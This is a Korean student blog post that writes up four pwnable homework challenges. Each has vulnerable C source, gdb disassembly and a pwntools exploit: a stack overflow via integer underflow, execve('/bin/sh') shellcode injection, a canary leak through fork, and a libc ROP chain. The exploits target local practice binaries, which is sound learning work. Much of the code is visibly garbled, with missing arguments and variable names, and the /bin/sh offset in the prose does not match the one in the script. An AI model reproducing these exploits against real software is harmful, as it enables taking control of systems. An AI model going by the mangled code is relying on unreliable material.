보안 공부/[동아리]

[동아리] Pay1oad_PWNABLE 5주차 과제

jjingjjing-2 2024. 11. 11. 23:50

1. bof

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
 
void init() {
    setvbuf(stdin, 020);
    setvbuf(stdout, 020);
}
 
void win(){
    char *args[] = {"/bin/sh"NULL};
    execv(args[0], args);
}
 
int main(){
    init();
    int size = 0;
    char buf[20];
    printf("input size: ");
    scanf("%d",&size);
    printf("input buf: ");
    read(0, buf, size+1);
 
    if (size > 20){
        printf("Wrong Size!\n");
        return -1;
    }
 
    return 0;
 
}
cs

소스코드를 보면 read에서 입력받을 수 있는 문자열을 조절할 수 있는 것으로 BOF를 발생시킬 수 있다는 것을 알 수 있다. 하지만 size의 크기가 20보다 크면 강제 종료당한다. 여기서 생각할 수 있는 경우는 underflow를 발생시켜 bof를 일으키는 것이다. gdb를 통해 buf의 위치를 알아낸 후 익스코드를 작성해보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
   0x0000000000401252 <+0>:     endbr64
   0x0000000000401256 <+4>:     push   rbp
   0x0000000000401257 <+5>:     mov    rbp,rsp
   0x000000000040125a <+8>:     sub    rsp,0x20
   0x000000000040125e <+12>:    mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000401265 <+19>:    lea    rax,[rip+0xda0]        # 0x40200c
   0x000000000040126c <+26>:    mov    rdi,rax
   0x000000000040126f <+29>:    mov    eax,0x0
   0x0000000000401274 <+34>:    call   0x4010a0 <printf@plt>
   0x0000000000401279 <+39>:    lea    rax,[rbp-0x4]
   0x000000000040127d <+43>:    mov    rsi,rax
   0x0000000000401280 <+46>:    lea    rax,[rip+0xd92]        # 0x402019
   0x0000000000401287 <+53>:    mov    rdi,rax
   0x000000000040128a <+56>:    mov    eax,0x0
   0x000000000040128f <+61>:    call   0x4010d0 <__isoc99_scanf@plt>
   0x0000000000401294 <+66>:    lea    rax,[rip+0xd81]        # 0x40201c
   0x000000000040129b <+73>:    mov    rdi,rax
   0x000000000040129e <+76>:    mov    eax,0x0
   0x00000000004012a3 <+81>:    call   0x4010a0 <printf@plt>
   0x00000000004012a8 <+86>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004012ab <+89>:    lea    edx,[rax+0x1]
   0x00000000004012ae <+92>:    lea    rax,[rbp-0x20]
   0x00000000004012b2 <+96>:    mov    rsi,rax
   0x00000000004012b5 <+99>:    mov    edi,0x0
   0x00000000004012ba <+104>:   mov    eax,0x0
   0x00000000004012bf <+109>:   call   0x4010b0 <read@plt>
   0x00000000004012c4 <+114>:   mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004012c7 <+117>:   cmp    eax,0x14
   0x00000000004012ca <+120>:   jle    0x4012e2 <main+144>
   0x00000000004012cc <+122>:   lea    rax,[rip+0xd55]        # 0x402028
   0x00000000004012d3 <+129>:   mov    rdi,rax
   0x00000000004012d6 <+132>:   call   0x401090 <puts@plt>
   0x00000000004012db <+137>:   mov    eax,0xffffffff
   0x00000000004012e0 <+142>:   jmp    0x4012e7 <main+149>
   0x00000000004012e2 <+144>:   mov    eax,0x0
   0x00000000004012e7 <+149>:   leave
   0x00000000004012e8 <+150>:   ret
cs

어셈블리어를 보면 buf의 위치가 [rbp-0x20]에 위치한다는 것을 알 수 있다. 그렇다면 익스를 하기 위해서는 0x20 + 0x8에 dummy 값과 win의 함수 주소를 ret으로 설정하면 익스를 할 수 있을 것이다. 한 번 size의 크기를 undetflow내서 익스를 해보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
p = process("./bof")
e = ELF("./bof")
 
win = e.symbols['win']
 
p.sendline(b'-2')
 
payload = b'a' * 0x20 + b'b' * 0x8 + p64(win)
 
p.send(payload)
 
p.interactive()
cs

 

2. shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// gcc -o shell shell.c  -no-pie -fno-stack-protector -zexecstack
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
 
void init() {
    setvbuf(stdin, 020);
    setvbuf(stdout, 020);
}
 
int main() {
    init();
    srand(time(0)); 
 
    char buf[100];
    printf("Shu-shyuk-shu-shu-shyuk\n");
    printf("moving buf\n");
 
    int rand1 = ((rand() % ((0x100 - 0x50/ 8)) * 8+ 0x50;
    int rand2 = ((rand() % ((0x100 - 0x50/ 8)) * 8+ 0x50;
 
    printf("buf address in the area: %p ~ %p\n", buf-rand1, buf+rand2);
    printf("what is buf: ");
    read(0,buf,0x100);
 
    return 0;
}
 
cs

소스코드명을 보면 알 수 있는 것처럼 shell코드를 짜서 푸는 문제라는 것을 유추할 수 있다. 그리고 buf의 값을 직접 출력해주는 것이 아닌 랜덤한 값을 출력해서 buf의 범위를 제공해준다. 시나리오를 짜보면 python 모듈 중에 ctypes 모듈이 존재한다. 이 모듈을 사용하여 C와 Python을 연결할 수 있다. ldd shell 명령어를 사용하여 shell이 어떤 libc를 사용하는지 알아내야 한다.

libc.so.6을 사용한다는 것을 알 수 있고 경로가 /lib/x86_64-linux-gnu/libc.so.6에 있다는 것을 알 수 있다. srand(time(0))은 현재 시간을 기준으로 랜덤한 값을 생성하기 때문에 estimated_time = int(time.time(0)) 명령어를 사용하여 현재 시간을 저장한다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *  
from ctypes import *  
import time  
 
estimated_time = int(time.time())
= CDLL("/lib/x86_64-linux-gnu/libc.so.6")
= process("./shell")
 
 
# seed를 estimated_time을 기준으로 -1, 0, 1로 테스트
for i in range(-12):
    seed = estimated_time + i  
    r.srand(seed)  
 
    # 첫 번째 랜덤 값 계산
    num1 = r.rand()
    rand1 = ((num1 % ((0x100 - 0x50// 8)) * 8+ 0x50
 
    # 두 번째 랜덤 값 계산
    num2 = r.rand()
    rand2 = ((num2 % ((0x100 - 0x50// 8)) * 8+ 0x50
 
    # 예측된 rand1, rand2 출력
    log.info(f"Seed: {seed} -> Predicted rand1: {hex(rand1)}, rand2: {hex(rand2)}")
 
 
cs

for문을 사용하여 혹시 모를 오차를 대비했다. 그리고 buf의 범위를 출력하기 때문에 buf 시작과 끝의 범위를 추출해서 시작 범위와 rand1 더하고 끝 범위와 rand2을 뺀 값이 같으면 잘 찾았다고 할 수 있다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *  
from ctypes import *  
import time  
 
estimated_time = int(time.time())
= CDLL("/lib/x86_64-linux-gnu/libc.so.6")
= process("./shell")
 
addr = str(p.recvuntil(b'\n'))
addr = str(p.recvuntil(b'\n'))
addr = str(p.recvuntil(b'\n'))
print(addr)
 
addr1 = int(addr[29:42], 16)
addr2 = int(addr[46:58], 16)
 
print(hex(addr1))
print(hex(addr2))
 
 
# seed를 estimated_time을 기준으로 -1, 0, 1로 테스트
for i in range(-12):
    seed = estimated_time + i  
    r.srand(seed)  
 
    # 첫 번째 랜덤 값 계산
    num1 = r.rand()
    rand1 = ((num1 % ((0x100 - 0x50// 8)) * 8+ 0x50
 
    # 두 번째 랜덤 값 계산
    num2 = r.rand()
    rand2 = ((num2 % ((0x100 - 0x50// 8)) * 8+ 0x50
 
    # 예측된 rand1, rand2 출력
    log.info(f"Seed: {seed} -> Predicted rand1: {hex(rand1)}, rand2: {hex(rand2)}")
 
    #값이 같으면 출력 후 buf에 저장
    if hex(addr1 + rand1) == hex(addr2 - rand2): 
        print(f"With seed {seed} -> Predicted rand1: {hex(rand1)}, rand2: {hex(rand2)}, {hex(addr1 + rand1)}, {hex(addr2 - rand2)}")
        buf = addr1 + rand1 
        break  
cs

이제 gdb를 통해 buf의 위치를 알아내고 shell 코드를 짜보겠다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
   0x000000000040123d <+0>:     endbr64
   0x0000000000401241 <+4>:     push   rbp
   0x0000000000401242 <+5>:     mov    rbp,rsp
   0x0000000000401245 <+8>:     sub    rsp,0x70
   0x0000000000401249 <+12>:    mov    eax,0x0
   0x000000000040124e <+17>:    call   0x4011f6 <init>
   0x0000000000401253 <+22>:    mov    edi,0x0
   0x0000000000401258 <+27>:    call   0x4010e0 <time@plt>
   0x000000000040125d <+32>:    mov    edi,eax
   0x000000000040125f <+34>:    call   0x4010d0 <srand@plt>
   0x0000000000401264 <+39>:    lea    rax,[rip+0xd9d]        # 0x402008
   0x000000000040126b <+46>:    mov    rdi,rax
   0x000000000040126e <+49>:    call   0x4010a0 <puts@plt>
   0x0000000000401273 <+54>:    lea    rax,[rip+0xda6]        # 0x402020
   0x000000000040127a <+61>:    mov    rdi,rax
   0x000000000040127d <+64>:    call   0x4010a0 <puts@plt>
   0x0000000000401282 <+69>:    call   0x401100 <rand@plt>
   0x0000000000401287 <+74>:    movsxd rdx,eax
   0x000000000040128a <+77>:    imul   rdx,rdx,0x2e8ba2e9
   0x0000000000401291 <+84>:    shr    rdx,0x20
   0x0000000000401295 <+88>:    sar    edx,0x2
   0x0000000000401298 <+91>:    mov    ecx,eax
   0x000000000040129a <+93>:    sar    ecx,0x1f
   0x000000000040129d <+96>:    sub    edx,ecx
   0x000000000040129f <+98>:    imul   ecx,edx,0x16
   0x00000000004012a2 <+101>:   sub    eax,ecx
   0x00000000004012a4 <+103>:   mov    edx,eax
   0x00000000004012a6 <+105>:   lea    eax,[rdx+0xa]
   0x00000000004012a9 <+108>:   shl    eax,0x3
   0x00000000004012ac <+111>:   mov    DWORD PTR [rbp-0x4],eax
   0x00000000004012af <+114>:   call   0x401100 <rand@plt>
   0x00000000004012b4 <+119>:   movsxd rdx,eax
   0x00000000004012b7 <+122>:   imul   rdx,rdx,0x2e8ba2e9
   0x00000000004012be <+129>:   shr    rdx,0x20
   0x00000000004012c2 <+133>:   sar    edx,0x2
   0x00000000004012c5 <+136>:   mov    ecx,eax
   0x00000000004012c7 <+138>:   sar    ecx,0x1f
   0x00000000004012ca <+141>:   sub    edx,ecx
   0x00000000004012cc <+143>:   imul   ecx,edx,0x16
   0x00000000004012cf <+146>:   sub    eax,ecx
   0x00000000004012d1 <+148>:   mov    edx,eax
   0x00000000004012d3 <+150>:   lea    eax,[rdx+0xa]
   0x00000000004012d6 <+153>:   shl    eax,0x3
   0x00000000004012d9 <+156>:   mov    DWORD PTR [rbp-0x8],eax
   0x00000000004012dc <+159>:   mov    eax,DWORD PTR [rbp-0x8]
   0x00000000004012df <+162>:   cdqe
   0x00000000004012e1 <+164>:   lea    rdx,[rbp-0x70]
   0x00000000004012e5 <+168>:   add    rdx,rax
   0x00000000004012e8 <+171>:   mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004012eb <+174>:   cdqe
   0x00000000004012ed <+176>:   neg    rax
   0x00000000004012f0 <+179>:   mov    rcx,rax
   0x00000000004012f3 <+182>:   lea    rax,[rbp-0x70]
   0x00000000004012f7 <+186>:   add    rax,rcx
   0x00000000004012fa <+189>:   mov    rsi,rax
   0x00000000004012fd <+192>:   lea    rax,[rip+0xd2c]        # 0x402030
   0x0000000000401304 <+199>:   mov    rdi,rax
   0x0000000000401307 <+202>:   mov    eax,0x0
   0x000000000040130c <+207>:   call   0x4010b0 <printf@plt>
   0x0000000000401311 <+212>:   lea    rax,[rip+0xd3a]        # 0x402052
   0x0000000000401318 <+219>:   mov    rdi,rax
   0x000000000040131b <+222>:   mov    eax,0x0
   0x0000000000401320 <+227>:   call   0x4010b0 <printf@plt>
   0x0000000000401325 <+232>:   lea    rax,[rbp-0x70]
   0x0000000000401329 <+236>:   mov    edx,0x100
   0x000000000040132e <+241>:   mov    rsi,rax
   0x0000000000401331 <+244>:   mov    edi,0x0
   0x0000000000401336 <+249>:   mov    eax,0x0
   0x000000000040133b <+254>:   call   0x4010c0 <read@plt>
   0x0000000000401340 <+259>:   mov    eax,0x0
   0x0000000000401345 <+264>:   leave
   0x0000000000401346 <+265>:   ret
cs

buf의 위치가 [rbp-0x70]에 있다는 것을 알 수 있다. payload를 보낼 때는 OpCode + 0x70-len(OpCode) + 0x8 + buf의 주소를 넣으면 익스를 할 수 있을 것이다. 쉘코드는 execve를 사용하겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
section .text
global _start
_start:
    xor rax, rax
    mov rax, 0x68732f6e69622f
    push rax 
    mov rax, 0x3b
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall
    
    mov rax, 0x3c
    xor rdi, rdi
    syscall
cs
1
2
wjddn0623@JungWoo:~/Pay1oad/Pwnable/5week_HW/2$ for i in $(objdump -d ex.o | grep "^ " | cut -2); do echo -n \\x$i;done
\x48\x31\xc0\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\xb8\x3b\x00\x00\x00\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb8\x3c\x00\x00\x00\x48\x31\xff\x0f\x05w
cs

 성공적으로 OpCode를 출력했다. OpCode는 총 40바이트이다. dummy 값은 0x48 + 0x8만큼 넣어주면 될 것 이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *  
from ctypes import *  
import time  
 
estimated_time = int(time.time())
= CDLL("/lib/x86_64-linux-gnu/libc.so.6")
= process("./shell")
 
addr = str(p.recvuntil(b'\n'))
addr = str(p.recvuntil(b'\n'))
addr = str(p.recvuntil(b'\n'))
print(addr)
 
addr1 = int(addr[29:42], 16)
addr2 = int(addr[46:58], 16)
 
print(hex(addr1))
print(hex(addr2))
 
 
# seed를 estimated_time을 기준으로 -1, 0, 1로 테스트
for i in range(-12):
    seed = estimated_time + i  
    r.srand(seed)  
 
    # 첫 번째 랜덤 값 계산
    num1 = r.rand()
    rand1 = ((num1 % ((0x100 - 0x50// 8)) * 8+ 0x50
 
    # 두 번째 랜덤 값 계산
    num2 = r.rand()
    rand2 = ((num2 % ((0x100 - 0x50// 8)) * 8+ 0x50
 
    # 예측된 rand1, rand2 출력
    log.info(f"Seed: {seed} -> Predicted rand1: {hex(rand1)}, rand2: {hex(rand2)}")
 
    #값이 같으면 출력 후 buf에 저장
    if hex(addr1 + rand1) == hex(addr2 - rand2): 
        print(f"With seed {seed} -> Predicted rand1: {hex(rand1)}, rand2: {hex(rand2)}, {hex(addr1 + rand1)}, {hex(addr2 - rand2)}")
        buf = addr1 + rand1 
        break  
print("buf : " + hex(buf))
 
shell = b'\x48\x31\xc0\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\xb8\x3b\x00\x00\x00\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb8\x3c\x00\x00\x00\x48\x31\xff\x0f\x05'
 
payload = shell + b'a' * 0x48 + b'b' * 0x8 + p64(buf)
p.send(payload)
 
p.interactive()
cs

3. canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
 
void init() {
    setvbuf(stdin, 020);
    setvbuf(stdout, 020);
}
 
void child_func(){
    char child_buf[0x10]="Hello Fork!";
    int size=0;
    printf("Size to write: ");
    scanf("%d",&size);
    write(1,child_buf,size);
    puts("");
    
}
 
void win(){
    char *args[] = {"/bin/sh"NULL};
    execv(args[0], args);
}
 
 
int main() {
    init();
    pid_t pid;
    int num = 5
    int status;
 
    pid = fork();
 
    if (pid < 0) {
        perror("fork failed");
        return 1;
    }
 
    if (pid == 0) {
        printf("Child Process\n");
        child_func();
        exit(0); // 자식 프로세스 종료
    } else {
        // 부모 프로세스
        wait(&status); // 자식 프로세스가 종료될 때까지 기다림
        printf("Parent Process\n");
        char parent_buf[0x20];
        read(0,parent_buf,0x50);
        printf("parent_buf: %s\n",parent_buf);
    }
 
    return 0;
}
 
cs

 

소스코드를 보면 부모, 자식 프로세스를 만드는 것을 알 수 있다. 파일명이 canary인 것으로 보아 canary 값을 알아내서 bof를 일으키는 문제인 것 같다. 부모, 자식 프로세스 간의 canary 값은 같으므로 자식 프로세스에서 canary를 leak하고 부모 프로세스에서 canary를 우회하면 될 것 같다. gdb를 통해 분석을 해보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
   0x00000000004012dd <+0>:     endbr64
   0x00000000004012e1 <+4>:     push   rbp
   0x00000000004012e2 <+5>:     mov    rbp,rsp
   0x00000000004012e5 <+8>:     sub    rsp,0x30
   0x00000000004012e9 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00000000004012f2 <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004012f6 <+25>:    xor    eax,eax
   0x00000000004012f8 <+27>:    movabs rax,0x6f46206f6c6c6548
   0x0000000000401302 <+37>:    mov    edx,0x216b72
   0x0000000000401307 <+42>:    mov    QWORD PTR [rbp-0x20],rax
   0x000000000040130b <+46>:    mov    QWORD PTR [rbp-0x18],rdx
   0x000000000040130f <+50>:    mov    DWORD PTR [rbp-0x24],0x0
   0x0000000000401316 <+57>:    lea    rax,[rip+0xce7]        # 0x402004
   0x000000000040131d <+64>:    mov    rdi,rax
   0x0000000000401320 <+67>:    mov    eax,0x0
   0x0000000000401325 <+72>:    call   0x401120 <printf@plt>
   0x000000000040132a <+77>:    lea    rax,[rbp-0x24]
   0x000000000040132e <+81>:    mov    rsi,rax
   0x0000000000401331 <+84>:    lea    rax,[rip+0xcdc]        # 0x402014
   0x0000000000401338 <+91>:    mov    rdi,rax
   0x000000000040133b <+94>:    mov    eax,0x0
   0x0000000000401340 <+99>:    call   0x401160 <__isoc99_scanf@plt>
   0x0000000000401345 <+104>:   mov    eax,DWORD PTR [rbp-0x24]
   0x0000000000401348 <+107>:   movsxd rdx,eax
   0x000000000040134b <+110>:   lea    rax,[rbp-0x20]
   0x000000000040134f <+114>:   mov    rsi,rax
   0x0000000000401352 <+117>:   mov    edi,0x1
   0x0000000000401357 <+122>:   call   0x401100 <write@plt>
   0x000000000040135c <+127>:   lea    rax,[rip+0xcb4]        # 0x402017
   0x0000000000401363 <+134>:   mov    rdi,rax
   0x0000000000401366 <+137>:   call   0x4010f0 <puts@plt>
   0x000000000040136b <+142>:   nop
   0x000000000040136c <+143>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000401370 <+147>:   sub    rax,QWORD PTR fs:0x28
   0x0000000000401379 <+156>:   je     0x401380 <child_func+163>
   0x000000000040137b <+158>:   call   0x401110 <__stack_chk_fail@plt>
   0x0000000000401380 <+163>:   leave
   0x0000000000401381 <+164>:   ret
cs

 

먼저 자식 프로세스인 child_func부터 분석해보겠다. [rbp-0x8]에 canary가 생성되는 것을 확인할 수 있다. write을 통해 child_buf를 출력하는 것을 알 수 있는데 이 부분을 이용하면 canary를 알아낼 수 있을 것 같다. 왜냐하면 출력하는 바이트 수를 조절할 수 있기 때문에 카나리 전체를 출력하게 하면 된다. child_buf의 위치가 [rbp-0x20]이기 때문에 0x20만큼 출력하면 카나리 값을 알 수 있을 것이다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
   0x00000000004013da <+0>:     endbr64
   0x00000000004013de <+4>:     push   rbp
   0x00000000004013df <+5>:     mov    rbp,rsp
   0x00000000004013e2 <+8>:     sub    rsp,0x40
   0x00000000004013e6 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00000000004013ef <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004013f3 <+25>:    xor    eax,eax
   0x00000000004013f5 <+27>:    mov    eax,0x0
   0x00000000004013fa <+32>:    call   0x401296 <init>
   0x00000000004013ff <+37>:    mov    DWORD PTR [rbp-0x38],0x5
   0x0000000000401406 <+44>:    call   0x4011a0 <fork@plt>
   0x000000000040140b <+49>:    mov    DWORD PTR [rbp-0x34],eax
   0x000000000040140e <+52>:    cmp    DWORD PTR [rbp-0x34],0x0
   0x0000000000401412 <+56>:    jns    0x40142a <main+80>
   0x0000000000401414 <+58>:    lea    rax,[rip+0xc05]        # 0x402020
   0x000000000040141b <+65>:    mov    rdi,rax
   0x000000000040141e <+68>:    call   0x401150 <perror@plt>
   0x0000000000401423 <+73>:    mov    eax,0x1
   0x0000000000401428 <+78>:    jmp    0x4014a4 <main+202>
   0x000000000040142a <+80>:    cmp    DWORD PTR [rbp-0x34],0x0
   0x000000000040142e <+84>:    jne    0x401453 <main+121>
   0x0000000000401430 <+86>:    lea    rax,[rip+0xbf5]        # 0x40202c
   0x0000000000401437 <+93>:    mov    rdi,rax
   0x000000000040143a <+96>:    call   0x4010f0 <puts@plt>
   0x000000000040143f <+101>:   mov    eax,0x0
   0x0000000000401444 <+106>:   call   0x4012dd <child_func>
   0x0000000000401449 <+111>:   mov    edi,0x0
   0x000000000040144e <+116>:   call   0x401170 <exit@plt>
   0x0000000000401453 <+121>:   lea    rax,[rbp-0x3c]
   0x0000000000401457 <+125>:   mov    rdi,rax
   0x000000000040145a <+128>:   call   0x401180 <wait@plt>
   0x000000000040145f <+133>:   lea    rax,[rip+0xbd4]        # 0x40203a
   0x0000000000401466 <+140>:   mov    rdi,rax
   0x0000000000401469 <+143>:   call   0x4010f0 <puts@plt>
   0x000000000040146e <+148>:   lea    rax,[rbp-0x30]
   0x0000000000401472 <+152>:   mov    edx,0x50
   0x0000000000401477 <+157>:   mov    rsi,rax
   0x000000000040147a <+160>:   mov    edi,0x0
   0x000000000040147f <+165>:   call   0x401130 <read@plt>
   0x0000000000401484 <+170>:   lea    rax,[rbp-0x30]
   0x0000000000401488 <+174>:   mov    rsi,rax
   0x000000000040148b <+177>:   lea    rax,[rip+0xbb7]        # 0x402049
   0x0000000000401492 <+184>:   mov    rdi,rax
   0x0000000000401495 <+187>:   mov    eax,0x0
   0x000000000040149a <+192>:   call   0x401120 <printf@plt>
   0x000000000040149f <+197>:   mov    eax,0x0
   0x00000000004014a4 <+202>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004014a8 <+206>:   sub    rdx,QWORD PTR fs:0x28
   0x00000000004014b1 <+215>:   je     0x4014b8 <main+222>
   0x00000000004014b3 <+217>:   call   0x401110 <__stack_chk_fail@plt>
   0x00000000004014b8 <+222>:   leave
   0x00000000004014b9 <+223>:   ret
cs

다음으로 main을 분석해보겠다. [rbp-0x8] 위치에 canary가 존재하고 parent_buf의 크기가 0x20이지만 0x50만큼 값을 입력받을 수 있다. 이 부분에서 BOF가 발생한다. payload를 보낼 때 0x28(dummy) + canary + 0x8(dummy) + win주소를 보내면 익스를 할 수 있을 것이다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
= process("./canary")
= ELF("./canary")
 
 
win = e.symbols['win']
 
p.sendlineafter(b'Size to write: ',b'32')
cnry = u64(p.recv(32)[-8:])
print(hex(cnry))
 
 
payload = b'a' * 0x28 + p64(cnry) + b'b' *0x8 + p64(win)
p.sendafter(b'Parent Process\n',payload)
 
p.interactive()
cs

 

4. rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// gcc -o rop rop.c -no-pie -fno-stack-protector
#include<stdio.h>
#include<dlfcn.h>
 
void init() {
    setvbuf(stdin, 020);
    setvbuf(stdout, 020);
}
 
void win(){
    asm ("mov $59, %%rax;"
        "xor %%rsi, %%rsi;"
        "xor %%rdx, %%rdx;"
        "syscall;"
        ::: "%rax""%rsi""%rdx"
    );
}
 
int main(){
    init();
    void *read_addr = dlsym(dlopen("libc.so.6", RTLD_LAZY), "read");
    char buf[0x20];
    char binsh[10= "/bin/sh";
    printf("read absolute address: %p\n",read_addr); // libc read
    printf("buf address: %p\n",buf);
 
    printf("You know read's address and buf's address\n");
    printf("Then, what's your input?\n");
    printf("> ");
    read(0,buf,0x50);
    printf("Oh, your input is this\n");
    printf("Let me check it's correct\n");
 
    return 0;
}
cs

소스코드 명을 보면 rop를 사용하는 것을 짐작할 수 있다. win함수를 보면 rdi가 존재하지 않아 pop rdi를 사용해서 rdi에 /bin/sh의 값을 넣어주면 익스를 할 수 있을 것 같다. read 부분에서 buf의 크기보다 큰 값을 입력받기 때문에 BOF가 일어날 수 있다. 먼저 사용할 가젯을 먼저 찾아보겠다.

rop에서는 pop rdi 가젯이 존재하지 않는다. 제공받은 libc를 이용하여 문제를 해결해야 할 것 같다.

libc에서의 pop rdi의 오프셋이 0x000000000002a3e5이라는 것을 알 수 있다. 소스코드에서 /bin/sh이 선언되었다. 이 값도 libc에 존재하기 때문에 오프셋을 한 번 구해보겠다.

/bin/sh의 오프셋이 0x1b8678이라는 것을 알 수 있다. 하지만 이것만으로는 익스를 할 수가 없다. 왜냐하면 libc의 base 주소를 모르기 때문에 알아서 소용이 없다. 소스코드를 보면 알 수 있듯이 read의 주소를 출력해준다. libc상의 read 주소를 구해서 출력해준 read의 값을 빼면 오프셋을 구해서 지금까지 구한 값들을 사용할 수 있다.

read의 오프셋이 00000000001147d0이다. 그렇다면 익스를 할 수 있는 조건이 완성되었다. 이후 시나리오를 설명하면 먼저 libc base 주소를 구한다. 그 후에 pop rdi와 /bin/sh을 구한 후에 ROP를 실행하면 쉽게 문제를 풀 수 있을 것이다.

 

libc_base = 출력된 read함수 - read_offset

pop_rdi = libc_base + pop_rdi_offset

binsh = libc_base + binsh_offset

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process("./rop")
= ELF("./rop")
lb = ELF("./libc.so.6")
 
 
win = e.symbols['win']
pop_rdi = 0x000000000002a3e5
read_off = 0x00000000001147d0
binsh = 0x1d8678
 
 
p.recvuntil(b': ')
read_addr = (p.recvline().strip())
read_addr = int(read_addr, 16)
p.recvuntil(b': ')
buf_addr = (p.recvline().strip())
buf_addr = int(buf_addr, 16)
 
print(hex(read_addr))
print(hex(buf_addr))
 
libc_base = read_addr - read_off
print(hex(libc_base))
pop_rdi_addr = libc_base + pop_rdi
print(hex(pop_rdi_addr))
binsh_addr = libc_base + binsh
print(hex(binsh_addr))
 
payload = b'a' * 0x30 + b'b' * 0x8 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(win)
p.send(payload)
 
p.interactive()
cs